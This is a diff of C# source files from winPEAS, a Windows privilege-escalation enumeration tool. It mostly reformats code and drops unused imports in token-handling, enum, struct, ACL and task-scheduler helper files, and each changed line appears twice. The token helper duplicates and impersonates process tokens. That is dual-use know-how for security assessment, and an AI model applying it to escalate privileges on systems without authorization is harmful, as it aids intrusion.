case TOKEN_INFORMATION_CLASS.TokenIntegrityLevel:
|
case TOKEN_INFORMATION_CLASS.TokenIntegrityLevel:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenMandatoryPolicy:
|
case TOKEN_INFORMATION_CLASS.TokenMandatoryPolicy:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenLogonSid:
|
case TOKEN_INFORMATION_CLASS.TokenLogonSid:
|
||||||
return (T)Marshal.PtrToStructure(pType, typeof(T));
|
return (T)Marshal.PtrToStructure(pType, typeof(T));
|
||||||
|
|
||||||
case TOKEN_INFORMATION_CLASS.TokenSessionReference:
|
case TOKEN_INFORMATION_CLASS.TokenSessionReference:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenAuditPolicy:
|
case TOKEN_INFORMATION_CLASS.TokenAuditPolicy:
|
||||||
default:
|
default:
|
||||||
return default(T);
|
return default(T);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
finally
|
finally
|
||||||
{
|
{
|
||||||
Marshal.FreeHGlobal(pType);
|
Marshal.FreeHGlobal(pType);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static SafeTokenHandle FromCurrentProcess(AccessTypes desiredAccess = AccessTypes.TokenDuplicate)
|
public static SafeTokenHandle FromCurrentProcess(AccessTypes desiredAccess = AccessTypes.TokenDuplicate)
|
||||||
{
|
{
|
||||||
lock (currentProcessToken)
|
lock (currentProcessToken)
|
||||||
{
|
{
|
||||||
if (currentProcessToken == null)
|
if (currentProcessToken == null)
|
||||||
currentProcessToken = FromProcess(Kernel32.GetCurrentProcess(), desiredAccess);
|
currentProcessToken = FromProcess(Kernel32.GetCurrentProcess(), desiredAccess);
|
||||||
return currentProcessToken;
|
return currentProcessToken;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static SafeTokenHandle FromCurrentThread(AccessTypes desiredAccess = AccessTypes.TokenDuplicate, bool openAsSelf = true)
|
public static SafeTokenHandle FromCurrentThread(AccessTypes desiredAccess = AccessTypes.TokenDuplicate, bool openAsSelf = true)
|
||||||
=> FromThread(Kernel32.GetCurrentThread(), desiredAccess, openAsSelf);
|
=> FromThread(Kernel32.GetCurrentThread(), desiredAccess, openAsSelf);
|
||||||
|
|
||||||
public static SafeTokenHandle FromProcess(IntPtr hProcess, AccessTypes desiredAccess = AccessTypes.TokenDuplicate)
|
public static SafeTokenHandle FromProcess(IntPtr hProcess, AccessTypes desiredAccess = AccessTypes.TokenDuplicate)
|
||||||
{
|
{
|
||||||
SafeTokenHandle val;
|
SafeTokenHandle val;
|
||||||
if (!Advapi32.OpenProcessToken(hProcess, desiredAccess, out val))
|
if (!Advapi32.OpenProcessToken(hProcess, desiredAccess, out val))
|
||||||
throw new System.ComponentModel.Win32Exception();
|
throw new System.ComponentModel.Win32Exception();
|
||||||
return val;
|
return val;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static SafeTokenHandle FromThread(IntPtr hThread, AccessTypes desiredAccess = AccessTypes.TokenDuplicate, bool openAsSelf = true)
|
public static SafeTokenHandle FromThread(IntPtr hThread, AccessTypes desiredAccess = AccessTypes.TokenDuplicate, bool openAsSelf = true)
|
||||||
{
|
{
|
||||||
SafeTokenHandle val;
|
SafeTokenHandle val;
|
||||||
if (!Advapi32.OpenThreadToken(hThread, desiredAccess, openAsSelf, out val))
|
if (!Advapi32.OpenThreadToken(hThread, desiredAccess, openAsSelf, out val))
|
||||||
{
|
{
|
||||||
if (Marshal.GetLastWin32Error() == ERROR_NO_TOKEN)
|
if (Marshal.GetLastWin32Error() == ERROR_NO_TOKEN)
|
||||||
{
|
{
|
||||||
SafeTokenHandle pval = FromCurrentProcess();
|
SafeTokenHandle pval = FromCurrentProcess();
|
||||||
if (!Advapi32.DuplicateTokenEx(pval, AccessTypes.TokenImpersonate | desiredAccess, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.Impersonation, TokenType.TokenImpersonation, ref val))
|
if (!Advapi32.DuplicateTokenEx(pval, AccessTypes.TokenImpersonate | desiredAccess, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.Impersonation, TokenType.TokenImpersonation, ref val))
|
||||||
throw new System.ComponentModel.Win32Exception();
|
throw new System.ComponentModel.Win32Exception();
|
||||||
if (!Advapi32.SetThreadToken(IntPtr.Zero, val))
|
if (!Advapi32.SetThreadToken(IntPtr.Zero, val))
|
||||||
throw new System.ComponentModel.Win32Exception();
|
throw new System.ComponentModel.Win32Exception();
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
throw new System.ComponentModel.Win32Exception();
|
throw new System.ComponentModel.Win32Exception();
|
||||||
}
|
}
|
||||||
return val;
|
return val;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,38 +1,38 @@
|
|||||||
namespace winPEAS.Native.Enums
|
namespace winPEAS.Native.Enums
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Provides formats to use for input and output names for the DsCrackNames function.
|
/// Provides formats to use for input and output names for the DsCrackNames function.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
public enum DS_NAME_FORMAT
|
public enum DS_NAME_FORMAT
|
||||||
{
|
{
|
||||||
///<summary>Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown.</summary>
|
///<summary>Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown.</summary>
|
||||||
DS_UNKNOWN_NAME = 0,
|
DS_UNKNOWN_NAME = 0,
|
||||||
|
|
||||||
///<summary>Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com"</summary>
|
///<summary>Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com"</summary>
|
||||||
DS_FQDN_1779_NAME = 1,
|
DS_FQDN_1779_NAME = 1,
|
||||||
|
|
||||||
///<summary>Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\).</summary>
|
///<summary>Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\).</summary>
|
||||||
DS_NT4_ACCOUNT_NAME = 2,
|
DS_NT4_ACCOUNT_NAME = 2,
|
||||||
|
|
||||||
///<summary>Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN).</summary>
|
///<summary>Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN).</summary>
|
||||||
DS_DISPLAY_NAME = 3,
|
DS_DISPLAY_NAME = 3,
|
||||||
|
|
||||||
///<summary>Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}"</summary>
|
///<summary>Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}"</summary>
|
||||||
DS_UNIQUE_ID_NAME = 6,
|
DS_UNIQUE_ID_NAME = 6,
|
||||||
|
|
||||||
///<summary>Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/).</summary>
|
///<summary>Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/).</summary>
|
||||||
DS_CANONICAL_NAME = 7,
|
DS_CANONICAL_NAME = 7,
|
||||||
|
|
||||||
///<summary>Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com"</summary>
|
///<summary>Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com"</summary>
|
||||||
DS_USER_PRINCIPAL_NAME = 8,
|
DS_USER_PRINCIPAL_NAME = 8,
|
||||||
|
|
||||||
///<summary>This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone"</summary>
|
///<summary>This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone"</summary>
|
||||||
DS_CANONICAL_NAME_EX = 9,
|
DS_CANONICAL_NAME_EX = 9,
|
||||||
|
|
||||||
///<summary>Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com"</summary>
|
///<summary>Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com"</summary>
|
||||||
DS_SERVICE_PRINCIPAL_NAME = 10,
|
DS_SERVICE_PRINCIPAL_NAME = 10,
|
||||||
|
|
||||||
///<summary>Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501"</summary>
|
///<summary>Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501"</summary>
|
||||||
DS_SID_OR_SID_HISTORY_NAME = 11,
|
DS_SID_OR_SID_HISTORY_NAME = 11,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
namespace winPEAS.Native.Enums
|
namespace winPEAS.Native.Enums
|
||||||
{
|
{
|
||||||
public enum SECURITY_IMPERSONATION_LEVEL
|
public enum SECURITY_IMPERSONATION_LEVEL
|
||||||
{
|
{
|
||||||
Anonymous,
|
Anonymous,
|
||||||
Identification,
|
Identification,
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
namespace winPEAS.Native.Enums
|
namespace winPEAS.Native.Enums
|
||||||
{
|
{
|
||||||
[Flags]
|
[Flags]
|
||||||
public enum ServerTypes : uint
|
public enum ServerTypes : uint
|
||||||
{
|
{
|
||||||
Workstation = 0x00000001,
|
Workstation = 0x00000001,
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
namespace winPEAS.Native.Enums
|
namespace winPEAS.Native.Enums
|
||||||
{
|
{
|
||||||
public enum TOKEN_ELEVATION_TYPE
|
public enum TOKEN_ELEVATION_TYPE
|
||||||
{
|
{
|
||||||
Default = 1,
|
Default = 1,
|
||||||
Full,
|
Full,
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
namespace winPEAS.Native.Enums
|
namespace winPEAS.Native.Enums
|
||||||
{
|
{
|
||||||
public enum TOKEN_INFORMATION_CLASS
|
public enum TOKEN_INFORMATION_CLASS
|
||||||
{
|
{
|
||||||
TokenUser = 1,
|
TokenUser = 1,
|
||||||
TokenGroups,
|
TokenGroups,
|
||||||
|
|||||||
@@ -1,7 +1,5 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Runtime.ConstrainedExecution;
|
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using winPEAS.Info.SystemInfo.NamedPipes;
|
|
||||||
|
|
||||||
namespace winPEAS.Native
|
namespace winPEAS.Native
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -27,5 +27,5 @@ namespace winPEAS.Native
|
|||||||
|
|
||||||
[DllImport("ntdsapi.dll", CharSet = CharSet.Auto)]
|
[DllImport("ntdsapi.dll", CharSet = CharSet.Auto)]
|
||||||
internal static extern uint DsUnBind(ref IntPtr phDS);
|
internal static extern uint DsUnBind(ref IntPtr phDS);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
namespace winPEAS.Native.Structs
|
namespace winPEAS.Native.Structs
|
||||||
{
|
{
|
||||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||||
public struct LUID
|
public struct LUID
|
||||||
{
|
{
|
||||||
public uint LowPart;
|
public uint LowPart;
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ using System.Runtime.InteropServices;
|
|||||||
|
|
||||||
namespace winPEAS.Native.Structs
|
namespace winPEAS.Native.Structs
|
||||||
{
|
{
|
||||||
[StructLayout(LayoutKind.Sequential)]
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
public struct SID_AND_ATTRIBUTES
|
public struct SID_AND_ATTRIBUTES
|
||||||
{
|
{
|
||||||
public IntPtr Sid;
|
public IntPtr Sid;
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ using System.Runtime.InteropServices;
|
|||||||
|
|
||||||
namespace winPEAS.Native.Structs
|
namespace winPEAS.Native.Structs
|
||||||
{
|
{
|
||||||
[StructLayout(LayoutKind.Sequential)]
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
public struct TOKEN_ELEVATION
|
public struct TOKEN_ELEVATION
|
||||||
{
|
{
|
||||||
public Int32 TokenIsElevated;
|
public Int32 TokenIsElevated;
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
using System.Reflection;
|
using System.Reflection;
|
||||||
using System.Runtime.CompilerServices;
|
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
// General Information about an assembly is controlled through the following
|
// General Information about an assembly is controlled through the following
|
||||||
|
|||||||
@@ -2,93 +2,91 @@
|
|||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Security.AccessControl;
|
using System.Security.AccessControl;
|
||||||
using System.Text;
|
|
||||||
using System.Threading.Tasks;
|
|
||||||
|
|
||||||
namespace winPEAS.TaskScheduler
|
namespace winPEAS.TaskScheduler
|
||||||
{
|
{
|
||||||
/// <summary>Extensions for classes in the System.Security.AccessControl namespace.</summary>
|
/// <summary>Extensions for classes in the System.Security.AccessControl namespace.</summary>
|
||||||
public static class AccessControlExtension
|
public static class AccessControlExtension
|
||||||
{
|
{
|
||||||
/// <summary>Canonicalizes the specified Access Control List.</summary>
|
/// <summary>Canonicalizes the specified Access Control List.</summary>
|
||||||
/// <param name="acl">The Access Control List.</param>
|
/// <param name="acl">The Access Control List.</param>
|
||||||
public static void Canonicalize(this RawAcl acl)
|
public static void Canonicalize(this RawAcl acl)
|
||||||
{
|
{
|
||||||
if (acl == null) throw new ArgumentNullException(nameof(acl));
|
if (acl == null) throw new ArgumentNullException(nameof(acl));
|
||||||
|
|
||||||
// Extract aces to list
|
// Extract aces to list
|
||||||
var aces = new System.Collections.Generic.List<GenericAce>(acl.Cast<GenericAce>());
|
var aces = new System.Collections.Generic.List<GenericAce>(acl.Cast<GenericAce>());
|
||||||
|
|
||||||
// Sort aces based on canonical order
|
// Sort aces based on canonical order
|
||||||
aces.Sort((a, b) => System.Collections.Generic.Comparer<byte>.Default.Compare(GetComparisonValue(a), GetComparisonValue(b)));
|
aces.Sort((a, b) => Comparer<byte>.Default.Compare(GetComparisonValue(a), GetComparisonValue(b)));
|
||||||
|
|
||||||
// Add sorted aces back to ACL
|
// Add sorted aces back to ACL
|
||||||
while (acl.Count > 0) acl.RemoveAce(0);
|
while (acl.Count > 0) acl.RemoveAce(0);
|
||||||
var aceIndex = 0;
|
var aceIndex = 0;
|
||||||
aces.ForEach(ace => acl.InsertAce(aceIndex++, ace));
|
aces.ForEach(ace => acl.InsertAce(aceIndex++, ace));
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Sort ACEs according to canonical form for this <see cref="ObjectSecurity"/>.</summary>
|
/// <summary>Sort ACEs according to canonical form for this <see cref="ObjectSecurity"/>.</summary>
|
||||||
/// <param name="objectSecurity">The object security whose DiscretionaryAcl will be made canonical.</param>
|
/// <param name="objectSecurity">The object security whose DiscretionaryAcl will be made canonical.</param>
|
||||||
public static void CanonicalizeAccessRules(this ObjectSecurity objectSecurity)
|
public static void CanonicalizeAccessRules(this ObjectSecurity objectSecurity)
|
||||||
{
|
{
|
||||||
if (objectSecurity == null) throw new ArgumentNullException(nameof(objectSecurity));
|
if (objectSecurity == null) throw new ArgumentNullException(nameof(objectSecurity));
|
||||||
if (objectSecurity.AreAccessRulesCanonical) return;
|
if (objectSecurity.AreAccessRulesCanonical) return;
|
||||||
|
|
||||||
// Get raw SD from objectSecurity and canonicalize DACL
|
// Get raw SD from objectSecurity and canonicalize DACL
|
||||||
var sd = new RawSecurityDescriptor(objectSecurity.GetSecurityDescriptorBinaryForm(), 0);
|
var sd = new RawSecurityDescriptor(objectSecurity.GetSecurityDescriptorBinaryForm(), 0);
|
||||||
sd.DiscretionaryAcl.Canonicalize();
|
sd.DiscretionaryAcl.Canonicalize();
|
||||||
|
|
||||||
// Convert SD back into objectSecurity
|
// Convert SD back into objectSecurity
|
||||||
objectSecurity.SetSecurityDescriptorBinaryForm(sd.GetBinaryForm());
|
objectSecurity.SetSecurityDescriptorBinaryForm(sd.GetBinaryForm());
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Returns an array of byte values that represents the information contained in this <see cref="GenericSecurityDescriptor"/> object.</summary>
|
/// <summary>Returns an array of byte values that represents the information contained in this <see cref="GenericSecurityDescriptor"/> object.</summary>
|
||||||
/// <param name="sd">The <see cref="GenericSecurityDescriptor"/> object.</param>
|
/// <param name="sd">The <see cref="GenericSecurityDescriptor"/> object.</param>
|
||||||
/// <returns>The byte array into which the contents of the <see cref="GenericSecurityDescriptor"/> is marshaled.</returns>
|
/// <returns>The byte array into which the contents of the <see cref="GenericSecurityDescriptor"/> is marshaled.</returns>
|
||||||
public static byte[] GetBinaryForm(this GenericSecurityDescriptor sd)
|
public static byte[] GetBinaryForm(this GenericSecurityDescriptor sd)
|
||||||
{
|
{
|
||||||
if (sd == null) throw new ArgumentNullException(nameof(sd));
|
if (sd == null) throw new ArgumentNullException(nameof(sd));
|
||||||
var bin = new byte[sd.BinaryLength];
|
var bin = new byte[sd.BinaryLength];
|
||||||
sd.GetBinaryForm(bin, 0);
|
sd.GetBinaryForm(bin, 0);
|
||||||
return bin;
|
return bin;
|
||||||
}
|
}
|
||||||
|
|
||||||
// A canonical ACL must have ACES sorted according to the following order:
|
// A canonical ACL must have ACES sorted according to the following order:
|
||||||
// 1. Access-denied on the object
|
// 1. Access-denied on the object
|
||||||
// 2. Access-denied on a child or property
|
// 2. Access-denied on a child or property
|
||||||
// 3. Access-allowed on the object
|
// 3. Access-allowed on the object
|
||||||
// 4. Access-allowed on a child or property
|
// 4. Access-allowed on a child or property
|
||||||
// 5. All inherited ACEs
|
// 5. All inherited ACEs
|
||||||
private static byte GetComparisonValue(GenericAce ace)
|
private static byte GetComparisonValue(GenericAce ace)
|
||||||
{
|
{
|
||||||
if ((ace.AceFlags & AceFlags.Inherited) != 0)
|
if ((ace.AceFlags & AceFlags.Inherited) != 0)
|
||||||
return 5;
|
return 5;
|
||||||
switch (ace.AceType)
|
switch (ace.AceType)
|
||||||
{
|
{
|
||||||
case AceType.AccessDenied:
|
case AceType.AccessDenied:
|
||||||
case AceType.AccessDeniedCallback:
|
case AceType.AccessDeniedCallback:
|
||||||
case AceType.SystemAudit:
|
case AceType.SystemAudit:
|
||||||
case AceType.SystemAlarm:
|
case AceType.SystemAlarm:
|
||||||
case AceType.SystemAuditCallback:
|
case AceType.SystemAuditCallback:
|
||||||
case AceType.SystemAlarmCallback:
|
case AceType.SystemAlarmCallback:
|
||||||
return 0;
|
return 0;
|
||||||
case AceType.AccessDeniedObject:
|
case AceType.AccessDeniedObject:
|
||||||
case AceType.AccessDeniedCallbackObject:
|
case AceType.AccessDeniedCallbackObject:
|
||||||
case AceType.SystemAuditObject:
|
case AceType.SystemAuditObject:
|
||||||
case AceType.SystemAlarmObject:
|
case AceType.SystemAlarmObject:
|
||||||
case AceType.SystemAuditCallbackObject:
|
case AceType.SystemAuditCallbackObject:
|
||||||
case AceType.SystemAlarmCallbackObject:
|
case AceType.SystemAlarmCallbackObject:
|
||||||
return 1;
|
return 1;
|
||||||
case AceType.AccessAllowed:
|
case AceType.AccessAllowed:
|
||||||
case AceType.AccessAllowedCallback:
|
case AceType.AccessAllowedCallback:
|
||||||
return 2;
|
return 2;
|
||||||
case AceType.AccessAllowedObject:
|
case AceType.AccessAllowedObject:
|
||||||
case AceType.AccessAllowedCallbackObject:
|
case AceType.AccessAllowedCallbackObject:
|
||||||
return 3;
|
return 3;
|
||||||
default:
|
default:
|
||||||
return 4;
|
return 4;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1,27 +1,23 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
|
||||||
using System.Linq;
|
|
||||||
using System.Text;
|
|
||||||
using System.Threading;
|
using System.Threading;
|
||||||
using System.Threading.Tasks;
|
|
||||||
|
|
||||||
namespace winPEAS.TaskScheduler
|
namespace winPEAS.TaskScheduler
|
||||||
{
|
{
|
||||||
internal class CultureSwitcher : IDisposable
|
internal class CultureSwitcher : IDisposable
|
||||||
{
|
{
|
||||||
private readonly System.Globalization.CultureInfo cur, curUI;
|
private readonly System.Globalization.CultureInfo cur, curUI;
|
||||||
|
|
||||||
public CultureSwitcher([NotNull] System.Globalization.CultureInfo culture)
|
public CultureSwitcher([NotNull] System.Globalization.CultureInfo culture)
|
||||||
{
|
{
|
||||||
cur = Thread.CurrentThread.CurrentCulture;
|
cur = Thread.CurrentThread.CurrentCulture;
|
||||||
curUI = Thread.CurrentThread.CurrentUICulture;
|
curUI = Thread.CurrentThread.CurrentUICulture;
|
||||||
Thread.CurrentThread.CurrentCulture = Thread.CurrentThread.CurrentUICulture = culture;
|
Thread.CurrentThread.CurrentCulture = Thread.CurrentThread.CurrentUICulture = culture;
|
||||||
}
|
}
|
||||||
|
|
||||||
public void Dispose()
|
public void Dispose()
|
||||||
{
|
{
|
||||||
Thread.CurrentThread.CurrentCulture = cur;
|
Thread.CurrentThread.CurrentCulture = cur;
|
||||||
Thread.CurrentThread.CurrentUICulture = curUI;
|
Thread.CurrentThread.CurrentUICulture = curUI;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,72 +8,72 @@ namespace winPEAS.TaskScheduler
|
|||||||
/// Functions to provide localized strings for enumerated types and values.
|
/// Functions to provide localized strings for enumerated types and values.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
public static class TaskEnumGlobalizer
|
public static class TaskEnumGlobalizer
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Gets a string representing the localized value of the provided enum.
|
/// Gets a string representing the localized value of the provided enum.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="enumValue">The enum value.</param>
|
/// <param name="enumValue">The enum value.</param>
|
||||||
/// <returns>A localized string, if available.</returns>
|
/// <returns>A localized string, if available.</returns>
|
||||||
public static string GetString(object enumValue)
|
public static string GetString(object enumValue)
|
||||||
{
|
{
|
||||||
switch (enumValue.GetType().Name)
|
switch (enumValue.GetType().Name)
|
||||||
{
|
{
|
||||||
case "DaysOfTheWeek":
|
case "DaysOfTheWeek":
|
||||||
return GetCultureEquivalentString((DaysOfTheWeek)enumValue);
|
return GetCultureEquivalentString((DaysOfTheWeek)enumValue);
|
||||||
case "MonthsOfTheYear":
|
case "MonthsOfTheYear":
|
||||||
return GetCultureEquivalentString((MonthsOfTheYear)enumValue);
|
return GetCultureEquivalentString((MonthsOfTheYear)enumValue);
|
||||||
case "TaskTriggerType":
|
case "TaskTriggerType":
|
||||||
return BuildEnumString("TriggerType", enumValue);
|
return BuildEnumString("TriggerType", enumValue);
|
||||||
case "WhichWeek":
|
case "WhichWeek":
|
||||||
return BuildEnumString("WW", enumValue);
|
return BuildEnumString("WW", enumValue);
|
||||||
case "TaskActionType":
|
case "TaskActionType":
|
||||||
return BuildEnumString("ActionType", enumValue);
|
return BuildEnumString("ActionType", enumValue);
|
||||||
case "TaskState":
|
case "TaskState":
|
||||||
return BuildEnumString("TaskState", enumValue);
|
return BuildEnumString("TaskState", enumValue);
|
||||||
}
|
}
|
||||||
return enumValue.ToString();
|
return enumValue.ToString();
|
||||||
}
|
}
|
||||||
|
|
||||||
private static string GetCultureEquivalentString(DaysOfTheWeek val)
|
private static string GetCultureEquivalentString(DaysOfTheWeek val)
|
||||||
{
|
{
|
||||||
if (val == DaysOfTheWeek.AllDays)
|
if (val == DaysOfTheWeek.AllDays)
|
||||||
return Properties.Resources.DOWAllDays;
|
return Properties.Resources.DOWAllDays;
|
||||||
|
|
||||||
var s = new List<string>(7);
|
var s = new List<string>(7);
|
||||||
var vals = Enum.GetValues(val.GetType());
|
var vals = Enum.GetValues(val.GetType());
|
||||||
for (var i = 0; i < vals.Length - 1; i++)
|
for (var i = 0; i < vals.Length - 1; i++)
|
||||||
{
|
{
|
||||||
if ((val & (DaysOfTheWeek)vals.GetValue(i)) > 0)
|
if ((val & (DaysOfTheWeek)vals.GetValue(i)) > 0)
|
||||||
s.Add(DateTimeFormatInfo.CurrentInfo.GetDayName((DayOfWeek)i));
|
s.Add(DateTimeFormatInfo.CurrentInfo.GetDayName((DayOfWeek)i));
|
||||||
}
|
}
|
||||||
|
|
||||||
return string.Join(Properties.Resources.ListSeparator, s.ToArray());
|
return string.Join(Properties.Resources.ListSeparator, s.ToArray());
|
||||||
}
|
}
|
||||||
|
|
||||||
private static string GetCultureEquivalentString(MonthsOfTheYear val)
|
private static string GetCultureEquivalentString(MonthsOfTheYear val)
|
||||||
{
|
{
|
||||||
if (val == MonthsOfTheYear.AllMonths)
|
if (val == MonthsOfTheYear.AllMonths)
|
||||||
return Properties.Resources.MOYAllMonths;
|
return Properties.Resources.MOYAllMonths;
|
||||||
|
|
||||||
var s = new List<string>(12);
|
var s = new List<string>(12);
|
||||||
var vals = Enum.GetValues(val.GetType());
|
var vals = Enum.GetValues(val.GetType());
|
||||||
for (var i = 0; i < vals.Length - 1; i++)
|
for (var i = 0; i < vals.Length - 1; i++)
|
||||||
{
|
{
|
||||||
if ((val & (MonthsOfTheYear)vals.GetValue(i)) > 0)
|
if ((val & (MonthsOfTheYear)vals.GetValue(i)) > 0)
|
||||||
s.Add(DateTimeFormatInfo.CurrentInfo.GetMonthName(i + 1));
|
s.Add(DateTimeFormatInfo.CurrentInfo.GetMonthName(i + 1));
|
||||||
}
|
}
|
||||||
|
|
||||||
return string.Join(Properties.Resources.ListSeparator, s.ToArray());
|
return string.Join(Properties.Resources.ListSeparator, s.ToArray());
|
||||||
}
|
}
|
||||||
|
|
||||||
private static string BuildEnumString(string preface, object enumValue)
|
private static string BuildEnumString(string preface, object enumValue)
|
||||||
{
|
{
|
||||||
var vals = enumValue.ToString().Split(new[] { ", " }, StringSplitOptions.None);
|
var vals = enumValue.ToString().Split(new[] { ", " }, StringSplitOptions.None);
|
||||||
if (vals.Length == 0)
|
if (vals.Length == 0)
|
||||||
return string.Empty;
|
return string.Empty;
|
||||||
for (var i = 0; i < vals.Length; i++)
|
for (var i = 0; i < vals.Length; i++)
|
||||||
vals[i] = Properties.Resources.ResourceManager.GetString(preface + vals[i]);
|
vals[i] = Properties.Resources.ResourceManager.GetString(preface + vals[i]);
|
||||||
return string.Join(Properties.Resources.ListSeparator, vals);
|
return string.Join(Properties.Resources.ListSeparator, vals);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,150 +1,147 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.ComponentModel;
|
using System.ComponentModel;
|
||||||
using System.Linq;
|
|
||||||
using System.Text;
|
|
||||||
using System.Threading.Tasks;
|
|
||||||
|
|
||||||
namespace winPEAS.TaskScheduler
|
namespace winPEAS.TaskScheduler
|
||||||
{
|
{
|
||||||
internal static class EnumUtil
|
internal static class EnumUtil
|
||||||
{
|
{
|
||||||
public static void CheckIsEnum<T>(bool checkHasFlags = false)
|
public static void CheckIsEnum<T>(bool checkHasFlags = false)
|
||||||
{
|
{
|
||||||
if (!typeof(T).IsEnum)
|
if (!typeof(T).IsEnum)
|
||||||
throw new ArgumentException($"Type '{typeof(T).FullName}' is not an enum");
|
throw new ArgumentException($"Type '{typeof(T).FullName}' is not an enum");
|
||||||
if (checkHasFlags && !IsFlags<T>())
|
if (checkHasFlags && !IsFlags<T>())
|
||||||
throw new ArgumentException($"Type '{typeof(T).FullName}' doesn't have the 'Flags' attribute");
|
throw new ArgumentException($"Type '{typeof(T).FullName}' doesn't have the 'Flags' attribute");
|
||||||
}
|
}
|
||||||
|
|
||||||
public static bool IsFlags<T>() => Attribute.IsDefined(typeof(T), typeof(FlagsAttribute));
|
public static bool IsFlags<T>() => Attribute.IsDefined(typeof(T), typeof(FlagsAttribute));
|
||||||
|
|
||||||
public static void CheckHasValue<T>(T value, string argName = null)
|
public static void CheckHasValue<T>(T value, string argName = null)
|
||||||
{
|
{
|
||||||
CheckIsEnum<T>();
|
CheckIsEnum<T>();
|
||||||
if (IsFlags<T>())
|
if (IsFlags<T>())
|
||||||
{
|
{
|
||||||
var allFlags = 0L;
|
var allFlags = 0L;
|
||||||
foreach (T flag in Enum.GetValues(typeof(T)))
|
foreach (T flag in Enum.GetValues(typeof(T)))
|
||||||
allFlags |= Convert.ToInt64(flag);
|
allFlags |= Convert.ToInt64(flag);
|
||||||
if ((allFlags & Convert.ToInt64(value)) != 0L)
|
if ((allFlags & Convert.ToInt64(value)) != 0L)
|
||||||
return;
|
return;
|
||||||
}
